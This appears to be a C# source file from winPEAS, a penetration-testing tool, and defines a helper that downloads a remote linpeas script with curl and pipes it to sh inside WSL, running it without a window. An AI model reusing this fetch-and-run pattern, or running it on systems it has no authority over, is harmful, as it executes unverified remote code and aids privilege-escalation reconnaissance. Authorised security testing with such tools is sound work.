81 lines
2.6 KiB
C#
81 lines
2.6 KiB
C#
using System;
|
|
using System.Diagnostics;
|
|
using System.Text;
|
|
|
|
namespace winPEAS.Info.FilesInfo.WSL
|
|
{
|
|
public class WSL
|
|
{
|
|
public static void RunLinpeas(string linpeasUrl)
|
|
{
|
|
string linpeasCmd = $"curl {linpeasUrl} --silent | sh";
|
|
string command = Environment.Is64BitProcess ?
|
|
$@"bash -c ""{linpeasCmd}""" :
|
|
Environment.GetEnvironmentVariable("WinDir") + $"\\SysNative\\bash.exe -c \"{linpeasCmd}\"";
|
|
|
|
ExecuteCommandLine(command);
|
|
}
|
|
|
|
private static void ExecuteCommandLine(string fullCommandLine,
|
|
string workingFolder = null,
|
|
string verb = "OPEN")
|
|
{
|
|
string executable = fullCommandLine;
|
|
string args = null;
|
|
|
|
if (executable.StartsWith("\""))
|
|
{
|
|
int at = executable.IndexOf("\" ");
|
|
if (at > 0)
|
|
{
|
|
args = executable.Substring(at + 1).Trim();
|
|
executable = executable.Substring(0, at);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
int at = executable.IndexOf(" ");
|
|
if (at > 0)
|
|
{
|
|
if (executable.Length > at + 1)
|
|
{
|
|
args = executable.Substring(at + 1).Trim();
|
|
}
|
|
executable = executable.Substring(0, at);
|
|
}
|
|
}
|
|
|
|
var processStartInfo = new ProcessStartInfo
|
|
{
|
|
UseShellExecute = false,
|
|
Verb = verb,
|
|
CreateNoWindow = true,
|
|
FileName = executable,
|
|
WorkingDirectory = workingFolder,
|
|
Arguments = args,
|
|
RedirectStandardOutput = true,
|
|
RedirectStandardError = true,
|
|
StandardOutputEncoding = Encoding.UTF8
|
|
};
|
|
|
|
using (var process = Process.Start(processStartInfo))
|
|
{
|
|
if (process != null)
|
|
{
|
|
while (!process.StandardOutput.EndOfStream)
|
|
{
|
|
string line = process.StandardOutput.ReadLine();
|
|
Console.WriteLine(line);
|
|
}
|
|
|
|
while (!process.StandardError.EndOfStream)
|
|
{
|
|
string line = process.StandardError.ReadLine();
|
|
Console.WriteLine(line);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|